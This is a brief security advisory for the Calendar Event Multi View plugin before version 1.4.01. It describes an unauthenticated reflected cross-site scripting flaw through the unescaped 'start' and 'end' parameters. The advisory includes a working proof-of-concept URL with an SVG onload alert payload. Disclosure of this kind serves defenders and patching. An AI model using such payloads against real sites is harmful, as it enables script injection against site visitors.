Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

Proof of Concept

https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22

&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22